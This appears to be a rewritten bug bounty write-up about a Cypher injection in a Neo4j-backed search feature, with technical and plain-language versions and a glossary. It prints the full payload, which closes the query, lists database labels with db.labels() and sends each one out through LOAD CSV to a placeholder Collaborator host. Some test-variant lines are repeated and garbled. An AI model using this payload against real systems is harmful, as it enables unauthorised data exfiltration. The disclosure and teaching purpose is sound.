The most underrated injection of all time — CYPHER INJECTION. How I found and exploited it ?
Published on marvelmaniac.medium.com
Cypher is Neo4j’s graph query language that lets you retrieve data from the graph. It is like SQL for graphs, and was inspired by SQL.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Cypher is Neo4j's graph query language, used to retrieve data from a graph. It is often described as SQL for graphs and was inspired by SQL. Neo4j is a graph database management system that uses Cypher as its primary language, in the same way that MySQL, a relational database management system, uses SQL to query tables.
The target was a private program on HackerOne. The program had two pentest tenants in scope, and credentials were provided for each. Each tenant contained several organisations, and the credentials gave access to some of them. Each tenant had a search feature for searching the organisations under it. That feature was rarely used.
Setup
The researcher already had credentials for both tenants, so no authentication bypass was needed. The tooling was Burp Suite, used to inspect the request generated by the search feature, and a Burp Collaborator client, used as the out-of-band listener. No versions are given in the report.
Finding it
The researcher inspected the request generated by the search feature in Burp Suite and appended a single quote (') to the end of the search term, without any particular expectation. The server returned an error. The report does not reproduce the full error; it only notes that it started with a particular string, which the researcher copied and searched on Google. That search led to Neo4j and Cypher. Because Cypher is very much like SQL, the next search was for "cypher injection", since SQL-based injections are called SQL injection.
There were very few articles on the subject at the time, hardly two or three useful ones. The researcher read all of them and got an idea of how the bug might be exploited. It took two days to develop a working payload for the vulnerable target. The base payloads found online did not work directly: some inverted commas, an incomplete condition and square brackets had to be closed, and the existing query had to be partially completed so that the overall query would still work normally, before the payload could break out and become malicious.
Exploitation
Step 1: Break out of the existing query
The final payload was:
.*' | o ] AS filteredOrganisations CALL db.labels() YIELD label LOAD CSV FROM 'http://<collaborator-url-here>/' + label AS r //
The first part closes the current query partially and allows new clauses to be added to the original query:
.*' | o ] AS filteredOrganisations
Step 2: Enumerate labels with a built-in procedure
CALL db.labels() YIELD label
The CALL clause evaluates a subquery. Here the subquery calls db.labels(), a built-in procedure that returns a list of all labels used in the database. The YIELD clause stores the returned list in the variable label.
Step 3: Exfiltrate each label out of band
LOAD CSV FROM 'http://<collaborator-url-here>/' + label AS r //
LOAD CSV loads a CSV file from a user-defined location given by the FROM keyword. Here it makes a request to the Burp Collaborator client, appending one element of the label list at a time. As a result, multiple requests were sent to the Collaborator client, and every request had a different label name appended to the requested endpoint. The trailing AS r was only needed because the query kept breaking without it; it loads the CSV file as r. The final two forward slashes (//) comment out the rest of the query on the same line.
Combined, these parts formed the payload that produced a basic proof of concept. The report includes a raw exploitation video, with the domain name edited out.

Root cause
A single quote broke the query and returned a database error, and a crafted term could close the existing query and append new clauses. The report does not show the server-side code, so the exact construction is not stated. The LOAD CSV clause made the database server fetch a URL built from the query, sending requests to the Collaborator client. Existing defences did not stop it: the report does not describe any input validation, parameterisation or egress filtering that was in place.
Impact
An authenticated user with access to a tenant's search feature could inject Cypher and make the database server issue HTTP requests to an attacker-controlled endpoint, leaking database label names in the URL path. The researcher describes it as a critical bug involving both injection and SSRF.
Fix
The next day the researcher's basic detection payloads no longer worked, and the researcher realised the bug had been fixed, without any notification. A few hours later the team acknowledged the bug and paid the highest bounty they were offering.

Variants to test
- Append a single quote to a search term and look for a database error that names Neo4j or Cypher. A positive result is a stack trace or syntax error revealing the query language.
- Try to close the surrounding query and append
CALL db.labels() YIELD labelfollowed by an out-of-band fetch such asLOAD CSV FROM 'http://<collaborator-url-here>/' + label AS r //. A positive result is a series of Collaborator hits, each with a different label in the path. A positive result is out-of-band requests carrying the returned values. A positive result is the same error or out-of-band behaviour.
Takeaways
The researcher's advice is to do research, search for things and use common sense: searching for "cypher injection" was common sense once Cypher was known to be a language similar to SQL. Reading documentation matters too: a lot of material on Cypher and Neo4j was read before the payload was produced. The payload is simple and the method is already available on the internet, but applying it required understanding how Cypher queries work and analysing the vulnerable target properly.
What happened, in plain words
A security researcher was testing a private bug bounty program on HackerOne. A bug bounty program is a deal offered by a company: if you find a security problem in their systems and report it responsibly, they pay you a reward (the bounty). "Private" means only invited researchers can take part.
The program gave the researcher login details for two test environments, called tenants. A tenant is one isolated slice of a shared application, so each customer or team gets its own space with its own data. Inside each tenant there were several organisations, and the login details gave access to some of them. Each tenant had a search box for finding organisations, a feature that was rarely used.
The researcher typed a single quote character (') at the end of a search term, almost as a reflex, and the server replied with an error. The researcher copied the start of the error and searched it on Google, which led to a database technology called Neo4j, which stores data as a graph (points connected by relationships) rather than as tables. Neo4j is queried with a language called Cypher, which looks a lot like SQL, the classic language for asking questions of ordinary table-based databases.
Because Cypher is so similar to SQL, the researcher searched the web for "cypher injection", the graph equivalent of the well-known SQL injection flaw. After reading the few articles that existed, and after two days of trial and error, the researcher built a payload (a crafted piece of input) that made the database server send requests out to a server the researcher controlled, with pieces of database information carried in the URL. That combination of injection plus the server making requests on the attacker's behalf is called SSRF, server-side request forgery.
The bug was reported; the next day the researcher's payloads stopped working and the researcher realised it had been fixed without notification, then it was acknowledged a few hours later and rewarded with the highest bounty the program offered.
Background: databases, graphs and query languages
A database is an organised store of data that an application reads from and writes to. The most familiar kind arranges data in tables with rows and columns, like a spreadsheet, and is called a relational database. MySQL is one example. To talk to it, the application sends questions written in SQL, for example "give me every row where the name column equals this value".
Neo4j is a different kind of database: a graph database. Instead of tables, it stores nodes (things, such as a person or an organisation) and relationships between them (such as "works for" or "belongs to"). Nodes can carry labels, which are simply names that group nodes of the same type, much like tags. A node representing an organisation might have the label Organisation.
Cypher is the language used to ask Neo4j questions. It was inspired by SQL, so if you have seen SQL it will look familiar: you describe a pattern to match and what to return. The report points to Neo4j's own developer pages for more on Cypher and Neo4j.
Why does this matter for security? Because whenever an application builds a database query out of text a user typed, there is a risk. If the user's text is pasted straight into the query, the user can type characters that the query language treats as syntax rather than as data, and change what the query does. That is the whole idea behind injection flaws.
Finding the bug
The researcher was working on a private program on HackerOne, a platform where companies publish bug bounty programs and researchers submit reports. By that point the researcher had already found a few high severity bugs there. Severity is a rough ranking of how damaging a bug is; high is serious, critical is the top.
The program had two pentest tenants in scope. "Pentest" here means a test environment set up for security testing, and "in scope" means the program's rules allow you to attack it. Credentials (usernames and passwords, or similar login secrets) were provided for each tenant. Each tenant contained a few organisations, and the credentials gave access to some of them.
Each tenant had a search feature for searching the organisations under it. The report notes this feature was rarely used, which is often a hint: rarely used features get less attention from developers and testers, so they are more likely to hide mistakes.
To see what the search feature actually sends to the server, the researcher used Burp Suite. Burp Suite is a tool that sits between your browser and the website, like a recording proxy, so you can read and edit every request and response. A request is the message your browser sends ("please search for this word"), and the response is what the server sends back.
The researcher has a habit of appending a single quote (') to the end of a search term, without expecting anything in particular. This is a cheap test: in many programming and query languages the single quote marks the beginning or end of a piece of text, so an extra one can break the surrounding query and produce an error. If the application is careless, that error is visible to the user.
This time the server did return an error. The report does not reproduce the full error; it only says the error started with a particular string, which the researcher copied and searched on Google. The researcher notes this was early in their bug bounty career and no screenshot of the error was kept.
That Google search led to Neo4j and Cypher. It was the first time the researcher had seen an error like that. Since Cypher is very much like SQL, the next search was for "cypher injection", by the same logic that SQL-based injections are called SQL injection.
At the time there were very few articles about Cypher injection, hardly two or three useful ones. The researcher read them all and got an idea of how the bug might be exploited. It took two days to develop a working payload for the vulnerable target. The base payloads found online did not work directly: some inverted commas, an incomplete condition and square brackets had to be closed, and the existing query had to be partially completed so that the overall query would still work normally, before the payload could break out and become malicious.
That last point is worth dwelling on, because it is the heart of injection. The application has already written part of a query around your input. Your input lands in the middle of it. To add your own instructions, you first have to make the surrounding query syntactically valid again: close the quotes the application opened, close the brackets it opened, satisfy the conditions it started. Only then can you append your own clauses. It is like being dropped into the middle of someone else's sentence and having to finish their sentence correctly before you can start your own.
Exploitation
Step 1: Break out of the existing query
The final payload was:
.*' | o ] AS filteredOrganisations CALL db.labels() YIELD label LOAD CSV FROM 'http://<collaborator-url-here>/' + label AS r //
Line by line, in plain words:
.*'is the search text the researcher typed. The.*part is a wildcard-style fragment that fits whatever pattern the original query expected, and the'closes the string literal the application had opened around the search term. Closing that quote is what lets everything after it be read as query syntax instead of as search text.| o ]closes the remaining pieces of the original query: a pipe and a bracket that the application had opened. Without this, the query would be malformed and the database would refuse it.AS filteredOrganisationscompletes the part of the original query that was still unfinished, giving the intermediate result the name the original query expected. This is the "partially complete the existing query" step: the application's own query has to remain valid so that the database accepts the whole thing.- Everything after this point is the researcher's own addition, described in the next two steps.
The first part on its own, as the report presents it, is:
.*' | o ] AS filteredOrganisations
This whole part was there to close the current query partially and allow new clauses to be added to the original query.
Step 2: Enumerate labels with a built-in procedure
CALL db.labels() YIELD label
CALLis a Cypher clause used to evaluate a subquery, that is, to run another query inside this one and use its result.db.labels()is a built-in procedure, a ready-made function that ships with Neo4j. This one returns a list of all labels used in the database. A label, remember, is a tag that groups nodes of the same type, so this list is effectively a map of what kinds of things the database holds.YIELD labeltakes the returned list and stores it in a variable namedlabel, so the following clauses can use it.
Why do this? Because the goal at this stage is not to steal rows of data but to prove the injection works and to see what is inside the database. Listing labels is a safe, small first step: it reveals structure without dumping content.
Step 3: Exfiltrate each label out of band
LOAD CSV FROM 'http://<collaborator-url-here>/' + label AS r //
LOAD CSVis a Cypher clause that loads a CSV file from a location you give it. The location comes after theFROMkeyword. The important consequence: the database server itself will make an HTTP request to fetch that file. HTTP is the protocol your browser uses to talk to websites, so this is the database server acting like a browser and reaching out to the internet.'http://<collaborator-url-here>/' + labelbuilds the URL by gluing the base address to the current value oflabel. Becauselabelis a list, this runs once per element, so each request carries a different label name in its path.AS rnames the loaded CSV resultr. The report says this was only needed because the query kept breaking without it; it does not add anything malicious.//starts a comment in Cypher, so the rest of the line is ignored. This is how the researcher neutralised whatever the application had appended after the injection point, so the leftover text could not break the query.
Where do the requests go? To a Burp Collaborator client. Burp Collaborator is a service that gives you a unique address you control and records every request that arrives at it. It is the standard way to detect "out of band" behaviour: activity that does not come back in the response to your own request, but shows up somewhere else because the server made a connection on its own. Here, the researcher could watch requests arrive at the Collaborator address, each one with a different label name appended to the requested endpoint. That is the data leaving the database through a channel the researcher controls.
Combined, these parts formed the payload that produced a basic proof of concept. A proof of concept (PoC) is a minimal demonstration that a bug is real and exploitable, not just theoretical.
The report includes a raw exploitation video, with the domain name edited out. The researcher apologises for the watermark still being visible and explains that the edit was necessary to hide the domain name.

Why it worked (root cause)
Root cause means the underlying mistake that made the bug possible, as opposed to the symptom you see.
The report does not show the server-side code, so the exact construction is not stated. Concatenation means gluing strings together: the application took the text you typed and stuck it directly into the query text. That is why a single quote broke the query and returned a database error, and why a crafted term could close the existing query and append new clauses.
What we can say from the behaviour is that user input reached the query as syntax, not as data.
The LOAD CSV clause made the database server fetch a URL built from the query, sending the labels out to the Collaborator client. SSRF means the attacker gets the server to make requests on their behalf, typically to addresses the attacker cannot reach directly. Here the database server fetched a URL supplied in the query, and the URL contained the data being leaked.
Existing defences did not stop it: the report does not describe any input validation, parameterisation or egress filtering that was in place. To unpack those terms: input validation means checking what the user sent and rejecting anything unexpected; parameterisation means passing user input to the database separately from the query text so it can never be read as syntax; egress filtering means restricting which outbound network connections a server is allowed to make, which would have blocked the Collaborator requests.
Impact
An authenticated user with access to a tenant's search feature could inject Cypher and make the database server issue HTTP requests to an attacker-controlled endpoint, leaking database label names in the URL path. "Authenticated" means logged in: this was not an anonymous attack, the researcher already had valid credentials for the tenant.
The researcher describes it as a critical bug involving both injection and SSRF.
Fix and reward
The next day the researcher's basic detection payloads no longer worked, and the researcher realised the bug had been fixed, without any notification. The researcher tried to exploit it further the next day, but the basic detection payloads no longer worked, and soon realised the bug was fixed. That was frustrating at the moment, but a few hours later the team acknowledged the bug and paid the highest bounty they were offering.

Variants to test
If you want to look for the same class of bug yourself, these are the directions the report suggests. Each one states what a positive result looks like, so you know when to stop and investigate.
- Append a single quote to a search term and look for a database error that names Neo4j or Cypher. A positive result is a stack trace or syntax error revealing the query language. A stack trace is the debugging output a program prints when it crashes, often naming internal components.
- Try to close the surrounding query and append
CALL db.labels() YIELD labelfollowed by an out-of-band fetch such asLOAD CSV FROM 'http://<collaborator-url-here>/' + label AS r //. A positive result is a series of Collaborator hits, each with a different label in the path. A positive result is out-of-band requests carrying the returned values. A positive result is the same error or out-of-band behaviour.
Takeaways
The researcher's advice is to do research, search for things and use common sense: searching for "cypher injection" was common sense once Cypher was known to be a language similar to SQL.
Reading documentation matters too: a lot of material on Cypher and Neo4j was read before the payload was produced. The payload is simple and the method is already available on the internet, but applying it required understanding how Cypher queries work and analysing the vulnerable target properly.
The researcher also adds a personal note: at the time of writing this was the only critical bug found, and many suspected criticals ended up as high or medium after triage. Triage is the process where the program's team reviews a report and decides whether it is valid and how severe it is. The advice is not to rush, because high and medium bugs together can still earn good money. An edit dated 2 November 2024 notes that a decent number of criticals have been found since.
Glossary
- Authentication: proving who you are, usually by logging in with credentials.
- Bug bounty program: a scheme where a company pays researchers for responsibly reporting security bugs.
- Burp Collaborator: a service that gives you a unique address and records requests arriving at it, used to detect out-of-band server behaviour.
- Burp Suite: a tool that sits between browser and website so you can inspect and modify requests and responses.
- Concatenation: gluing strings of text together, here joining user input directly onto query text.
- Credentials: the secrets used to log in, such as a username and password.
- Critical / high / medium: rough severity rankings of how damaging a bug is.
- CSV: a simple text file format where values are separated by commas.
- Cypher: the query language used to ask Neo4j graph databases questions.
- Database: an organised store of data that an application reads and writes.
- Egress filtering: restricting which outbound network connections a server is allowed to make.
- Graph database: a database that stores nodes and the relationships between them, rather than tables.
- HackerOne: a platform where companies publish bug bounty programs and researchers submit reports.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- Injection: a flaw where user input is treated as code or query syntax instead of as data, letting the user change what the query does.
- Input validation: checking what a user sent and rejecting anything unexpected.
- Label (Neo4j): a tag that groups nodes of the same type in a graph database.
- LOAD CSV: a Cypher clause that makes the database fetch a CSV file from a given location.
- Neo4j: a graph database management system queried with Cypher.
- Node: a single item in a graph database, such as a person or an organisation.
- Out-of-band: activity that shows up somewhere other than the response to your own request, for example a request arriving at a server you control.
- Parameterisation: passing user input to a database separately from the query text so it can never be read as syntax.
- Payload: the crafted input an attacker sends to trigger a bug.
- Proof of concept (PoC): a minimal demonstration that a bug is real and exploitable.
- Procedure (built-in): a ready-made function shipped with a database, such as
db.labels(). - Relational database: a database that stores data in tables of rows and columns, queried with SQL.
- Request / response: the message your browser sends to a server, and the message the server sends back.
- Root cause: the underlying mistake that made a bug possible.
- Severity: a ranking of how damaging a bug is.
- SQL: the classic query language for relational databases.
- SQL injection: the well-known flaw where user input is treated as SQL syntax.
- SSRF (server-side request forgery): a flaw where the attacker gets a server to make network requests on their behalf.
- Stack trace: debugging output printed when a program crashes, often naming internal components.
- Subquery: a query run inside another query, whose result the outer query uses.
- Tenant: one isolated slice of a shared application, with its own data and users.
- Triage: the process where a program's team reviews a report and decides whether it is valid and how severe it is.
- Variable (in a query): a name that holds a value so later parts of the query can use it.
- YIELD: a Cypher clause that stores the result of a called procedure in a variable.